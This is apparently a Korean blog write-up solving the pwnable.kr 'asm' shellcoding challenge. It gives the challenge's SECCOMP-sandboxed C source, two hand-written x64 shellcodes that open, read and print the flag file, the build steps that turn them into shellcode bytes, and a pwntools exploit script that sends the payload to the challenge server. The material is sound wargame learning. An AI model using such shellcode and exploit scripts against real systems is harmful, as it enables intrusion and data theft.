[pwnable.kr] asm
아주 오랜만에 pwnable.kr 문제를 풀러왔다.
6점짜리라서 다른 것보다 쉬울 줄 알았는데; 쉘코드를 만들어야한다... 이ㄹ..
접속해보면 아래와 같은 것들을 볼 수 있다.
바이너리 파일이 하나 있고, readme랑 this_is~~~하는 파일이 하나 있는데
readme의 내용은 아래와 같다.
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege. make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory) |
nc 0 9026으로 접속하여 asm_pwn의 권한으로 플래그를 읽으라는 것 같다.
asm 바이너리 파일이 9026포트에서 돌아가고 있고, 이 파일은 64bit 바이너리파일이다.
실행해보면 아래와 같이 출력된다.
asm@ubuntu:~$ ./asm Welcome to shellcoding practice challenge. In this challenge, you can run your x64 shellcode under SECCOMP sandbox. Try to make shellcode that spits flag using open()/read()/write() systemcalls only. If this does not challenge you. you should play 'asg' challenge :) give me your x64 shellcode: |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx); } char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; unsigned char filter[256]; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; } | cs |
mmap() 함수는 fd로 지정된 파일(혹은 다른 객체)에서 offset을 시작으로 length바이트 만큼을 start주소로 대응시키도록 한다. start주소는 단지 그 주소를 사용했으면 좋겠다는 정도로 보통 0을 지정한다. mmap는 지정된 영역이 대응된 실제 시작위치를 반환한다. prot인자는 원하는 메모리:::보호모드(:12)를 설정한다. 사용할 수 있는 비트는 다음과 같다. |
SECCOMP은 secure computing mode의 약자로 리눅스 커널에서 애플리케이션 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능입니다. system call을 통해 기능을 활성화 시키면, 이를 호출한 프로세스에 있는 모든 fd들에 대해서 read, write, exit, sigreturn을 제외한 모든 system call 호출이 불가능 해집니다. 만약 다른 시스템 호출을 시도한다면, 커널이 SIGKILL로 프로세스를 종료시킵니다. 즉, 시스템의 자원을 가상화하는 것이 아니라 프로세스를 고립시키는 것이라고 할 수 있습니다. |
그래서 우리는 open(), read(), write(), exit() 만으로 쉘코드를 만들어서 flag를 읽으면 된다. 사실 open(), read(), write()만 있으면 flag를 읽을 수 있다.
다시 문제로 돌아와서 보면 read함수로 사용자로부터 쉘코드를 입력받아 실행하는데, 여기서 stub[]이란 녀석을 우리의 쉘코드앞에 붙여서 실행하게 된다.
이 stub[]이 어떤 코드인지 disassemble해보면 아래와 같다.
그냥 레지스터들을 0으로 초기화해주는 역할을 한다.
그냥 무시하고 쉘코드를 작성해도 된다.
우리는 read, open, write, exit를 쓸 수 있다.
- open(flag, 0, 0) # O_RDONLY=0
- read(3, bss, 100)
- write(stdout, bss, 100)
위와 같은 쉘코드를 작성하면 될 것 같다.
그래서 처음에 아래와 같은 쉘코드를 작성했으나... Bad system call 이라는 문구와 함께 자구 죽어버렸다 ㅡㅡ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | global _start _start jmp go func: mov al, 0x2 pop rdi syscall push rax pop rdi mov rsi, 0x41414710 mov dx, 0x111 xor rax, rax syscall xor rax, rax mov al, 0x1 push rax pop rdi syscall go: call func db 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_lon~~g' | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | global _start _start: mov al, 0x2 mov rdi, 0x41414050 syscall push rax pop rdi mov rsi, 0x41414710 mov dx, 0x111 xor rax, rax syscall xor rax, rax mov al, 0x1 push rax pop rdi syscall | cs |
sherlock@ubuntu:~$ nasm -f elf64 shell.asm sherlock@ubuntu:~$ ld shell.o sherlock@ubuntu:~$ objcopy -O binary a.out shell.bin sherlock@ubuntu:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin |
컴파일과 링킹을 마치고, 위와 같이 실행하면 쉘코드를 얻을 수 있다.
이제 asm_pwn의 권한을 얻어 flag를 획득할 수 있다.
찾아보니 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들수 있다고 한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | from pwn import * context(arch='amd64', os='linux') filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong' shellcode = "" shellcode += shellcraft.pushstr(filename) shellcode += shellcraft.open('rsp', 0) shellcode += shellcraft.read('rax', 'rsp', 100) shellcode += shellcraft.write(1, 'rsp', 100) s = ssh(user='asm',host='pwnable.kr',port=2222,password='guest') conn = s.connect_remote('localhost', 9026) conn.recvuntil("give me your x64 shellcode:") conn.sendline(asm(shellcode)) conn.interactive() | cs |
rsp에 파일명을 올리고, rsp에 쓰고, 읽다보니 flag과 파일명이 이어져서 출력되었다.
어쨋든 이렇게도 할 수 있다~
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] unlink (0) | 2018.08.01 |
---|---|
[pwnable.kr] memcpy (0) | 2018.07.27 |
[pwnable.kr] leg (0) | 2018.06.08 |
[pwnable.kr] cmd2 (0) | 2018.06.08 |
[pwnable.kr] uaf - 8 pt (0) | 2018.05.31 |